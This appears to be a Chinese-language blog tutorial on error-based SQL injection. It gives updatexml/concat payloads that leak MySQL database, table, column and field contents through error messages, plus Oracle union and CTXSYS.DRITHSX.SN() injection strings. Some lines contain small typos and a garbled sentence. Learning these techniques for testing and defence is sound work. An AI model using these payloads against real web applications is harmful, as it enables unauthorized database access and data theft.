报错注入
0x00 前言
报错注入是指将数据库的信息通过报错显示出来,适用于没有回显等情况。
不同的数据库,报错注入方法不同。
0x01 MYSQL数据库
在MYSQL 5.1.5版本中,引入了两个函数 updatexml() 和 **extractvalue()**用来对XML文档进行查询或修改。
updatexml(): 改变文档中,指定节点的值
1 | updatexlm(目标xml内容,xml文档路径,更新的内容) |
extractvalue():从XML字符串中提取内容
1 | extractvalue(目标XML文档,xml文档路径) |
这两个函数的用法和作用基本一致,并且当这两个函数执行出错时,都会返回报错,因此我们可以利用这一特性,获取数据库信息。
比如在xml文档路径中如果存在特殊符号 ~ ,就会返回报错
我们可以利用concat()函数,将SQL语句和特殊符号拼接进XML路径中,达到报错返回SQL执行结果的目的。
concat():拼接字符串
如:
1 | updatexml(1,concat(0x7e,(select database())),1) |
数据库会执行updatexml()函数,函数中首尾的1作为目标xml文件和更新内容的填充。
重点是中间的concat(0x7e,(select database())):
0x7e是特殊符号 ~ 的十六进制表示,因此concat()函数将 ~ 和select database()的执行结果,也就是数据库名拼接到一起,放到xml文档路径中,而当路径中有特殊符号,就会产生报错,将数据库名用报错的方式显示出来。
![报错注入1.png][1]
获取表名
1 | updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = '库名')),1) |
获取字段名
1 | updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名')),1) |
获取字段内容
1 | updatexml(1,concat(0x7e,(select group_concat(字段名) from 库名.表名)),1) |
0x02 Oracle数据库
Oracle不同于其他数据库,它更加强调用户这一概念,属于同一用户≈属于同一库,并且可以在不知道表名的情况下直接查询字段名。
在Oracle数据库中,数据类型十分重要,不会和MYSQL一样自动匹配数据类型,必须要手动指定,并且十分强调语法类型。位于法格式而设立的一个特殊的表 dual 。
如:
1 | ?id=1' union all select null,null from dual--+q |
null代表输出任意类型的数据
也可以通过独有的dual表来判断是否是Oracle数据库:
1 | and 1=(select count(*) from dual) |
与MYSQL相同,可以通过 order by 判断字段数
查询所有表:
1 | select * from all_tables |
查询当前用户的表:
1 | select * from user_tables |
查询当前用户表下的字段:
1 | select * from user_tab_columns |
在Oracle数据库中没有limit语句,但是可以使用其他语句达到相同的效果:
1 | select * from user_tab_columns and rownum = 1 //相当于limit 0,1 |
在联合查询时,由于数据类型的原因有时候并不能将所需信息回显,因此需要使用类型转换函数to_nclob(),如:
1 | ?id=1' union all select null,null,to_nclob(table_name) from user_tables--+Q |
若有时候没有回显点,可以尝试报错注入:
在Oracle中, 可以使用 CTXSYS.DRITHSX.SN() 函数进行报错输出。
如:
1 | ?id=1' and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where rownum = 1)) //报错获得表名 |
[1]: uploads/2020/04/458978009.png [1]: uploads/2020/04/458978009.png